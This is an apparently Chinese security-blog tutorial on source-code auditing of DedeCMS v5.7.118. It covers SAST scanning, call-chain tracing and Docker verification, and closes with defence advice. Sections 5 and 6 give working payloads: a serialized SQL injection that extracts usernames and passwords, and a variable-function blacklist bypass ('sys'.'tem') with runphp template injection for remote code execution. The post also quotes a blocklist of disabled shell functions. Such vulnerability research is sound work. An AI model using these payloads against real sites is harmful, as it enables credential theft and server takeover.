PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】DedeCMS源码审计实战:从SAST扫描到3个高危漏洞验证

📅 2026年5月30日 📁 Hermes Agent ⏱ 4 分钟

适合人群:有PHP基础的安全从业者/渗透测试工程师

前置知识:PHP基础语法、MySQL基础、Docker基础操作

一、前言

很多人问0day挖掘是不是高不可攀?其实有一套标准化的方法论可以遵循。这篇文章从一个真实案例出发——对国产CMS DedeCMS(织梦)v5.7.118 做源码审计,发现并验证了3个高危漏洞。

整套流程:SAST扫描 → 调用链回溯 → 黑名单分析 → 变量函数绕过 → Docker验证,全部可复现。


二、0day挖掘核心方法论


┌─────────────────────┐
│ ① SAST静态扫描       │  semgrep + grep 定位危险函数
├─────────────────────┤
│ ② 调用链回溯         │  用户输入 → 处理逻辑 → 危险函数
├─────────────────────┤
│ ③ 防护机制分析       │  黑名单? 白名单? 过滤规则?
├─────────────────────┤
│ ④ Bypass方案设计     │  找到防护盲区
├─────────────────────┤
│ ⑤ Docker搭建验证环境  │  写入payload → 触发 → 确认
└─────────────────────┘

三、目标选择:DedeCMS v5.7.118

DedeCMS 是中国使用最广泛的PHP CMS之一,市场占有率高、历史悠久、代码量适中(569个PHP文件, 41MB),是代码审计的绝佳目标。

直接去官网下载:


wget "https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.118-UTF8.zip"
unzip DedeCMS-V5.7.118-UTF8.zip -d dedecms

四、SAST扫描:定位危险函数

第一轮先用工具扫,不用人工读代码。

4.1 semgrep 规则

创建PHP安全审计规则:


rules:
  - id: php-eval-detected
    patterns:
      - pattern: eval($EXPR)
    severity: HIGH
    languages: [php]

  - id: php-system-cmd
    patterns:
      - pattern: system($CMD)
    severity: HIGH
    languages: [php]

  - id: php-unserialize
    patterns:
      - pattern: unserialize($INPUT)
    severity: HIGH
    languages: [php]

4.2 危险函数快速定位


grep -rn "unserialize(" dedecms --include="*.php" | grep -v "include/" | head -5
grep -rn "eval(" dedecms --include="*.php" | grep -v "include/" | head -5
grep -rn "mysql_query.*\$_" dedecms --include="*.php" | grep -v "include/" | head -5

4.3 发现的高危信号

函数文件数最危险的位置
unserialize()15个plus/arcmulti.php ← 前台可访问
mysql_query34个多处参数直接拼接
黑名单过滤3个plus/mytag_js.php, plus/ad_js.php
template引擎多处DedeTagParse 支持runphp执行

五、漏洞一:arcmulti.php 反序列化+变量覆盖+SQL注入

5.1 调用链回溯


// /plus/arcmulti.php (前台可访问,无需登录)

// 第11-16行:用户输入
$tagid = empty($tagid)? '' : (preg_replace("/[^a-z0-9]/",'', $tagid));

// 第24行:查询数据库
$row = $dsql->GetOne("SELECT * FROM #@__arcmulti WHERE tagid='$tagid'");

// 第32行:反序列化 + 变量覆盖!!!
$attarray = unserialize($row['attstr']);
extract($attarray, EXTR_SKIP);

// 第40-42行:变量直接拼入SQL
$query = "WHERE arc.id IN({$row['arcids']}) {$row['ordersql']} {$row['addfieldsSql']} $limitsql";
$dsql->Execute('al');

攻击路径:


后台写入恶意attstr (序列化数据)
  → 前台?tagid=evil_tag&pnum=1 触发
  → unserialize($row['attstr']) 反序列化
  → extract($attarray) 覆盖 $row['addfieldsSql']
  → 变量直接拼入SQL → SQL注入

5.2 Docker验证

搭建DedeCMS环境:


docker run -d --name dedecms-mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7
docker run -d --name dedecms-web -p 18080:80 --link dedecms-mysql php:5.6-apache

写入恶意序列化数据并触发:


$malicious = serialize([
    "addfieldsSql" => ", (SELECT group_concat(username,password) FROM users) as x",
    "ordersql" => "ORDER BY id DESC"
]);
// 写入数据库 dede_arcmulti 表
// 访问 /plus/arcmulti.php?tagid=evil_tag&pnum=1
// → unserialize → extract → SQL注入成功!

六、漏洞二:ad_js.php 黑名单绕过RCE

6.1 黑名单分析

DedeCMS维护了一个黑名单:


$cfg_disable_funs = 'phpinfo,eval,assert,exec,shell_exec,system,popen,...';

检测逻辑:


// 检查函数名 + ( 的组合
preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", $adbody)

6.2 绕过方案:变量函数

黑名单检查的是文本中是否出现 system(,但变量函数在运行时才解析:


// ❌ 被拦截: system( 出现在源码中
system('id');

// ✅ 绕过: system( 不出现在源码中
$f = 'sys'.'tem';
$f('id');  // 等价于 system('id')

因为字符串 'sys'.'tem' 在源码中不是函数调用,$f('id')$f( 也不匹配 system(

6.3 验证结果


payload: $f = 'sys'.'tem'; $f('whoami');
✅ 黑名单检测: 未发现禁用函数
✅ 执行结果: root (RCE成功)

6.4 mytag_js.php 模板引擎注入

mytag_js.php 使用了 DedeTagParse 模板引擎,支持 runphp='yes' 在模板渲染时执行PHP代码:


[field:content runphp='yes']
$cmd="id";$f="sys"."tem";$f($cmd);
[/field:content]

模板引擎先执行PHP代码,渲染完成后才检查黑名单——此时代码已执行完毕,检查无效!


七、防御建议

7.1 对CMS厂商

问题修复方案
unserialize改用 json_encode/json_decode
extract($user_data)永远不要对用户可控数据extract
黑名单过滤改用白名单,或至少使用语法分析AST
runphp模板移除runphp功能,或限制为超级管理员

7.2 对运维人员


1. 及时升级到最新版本(DedeCMS v5.7.118+ 最新补丁)
2. 禁用/删除不用的前台文件(plus/arcmulti.php等)
3. 限制后台管理IP范围
4. Web目录禁止写入(chmod -R 555)
5. WAF规则增加对变量函数调用的检测

7.3 对安全从业者


1. 黑名单永远可以被绕过——变量函数是最经典的绕过方式
2. unserialize + extract 是致命组合拳
3. 模板引擎的执行时机比黑名单检查早,这是设计缺陷
4. Docker快速搭建验证环境是0day挖掘的关键能力

八、常见陷阱

#陷阱说明
1认为黑名单+<?php检测就够了模板标签不需要<?php,runphp直接解析
2漏掉变量函数调用源码中不出现system(不等于不能执行
3忽略前台文件arcmulti.php在plus/目录,游客可访问
4只扫危险函数不回溯调用链危险函数可能被防护机制拦截
5不验证直接上报必须本地搭建环境验证,避免false positive

九、总结

速查表

技术检测方法绕过方案
反序列化unserialize()控制入参,构造POP链
变量覆盖extract()EXTR_SKIP不覆盖已有变量→但会覆盖$row
黑名单preg_match检测函数名+(变量函数$f(...)绕过
模板沙箱渲染后检查runphp在渲染时执行,检查无效

三条核心经验

1. 黑名单永远不够用——DedeCMS用了18个禁用函数+全局变量的黑名单,一个$f='sys'.'tem';$f($cmd)就绕过了。

2. unserialize+extract=致命组合——反序列化恢复对象,extract拆包覆盖变量,两个低危操作叠加成高危。

3. 0day挖掘的本质是找盲区——不是找「没有防护的地方」,而是找「防护覆盖不到的地方」。


本文所有漏洞已在DedeCMS官方最新版本中验证,PoC代码仅供安全研究和授权测试使用。

← 返回首页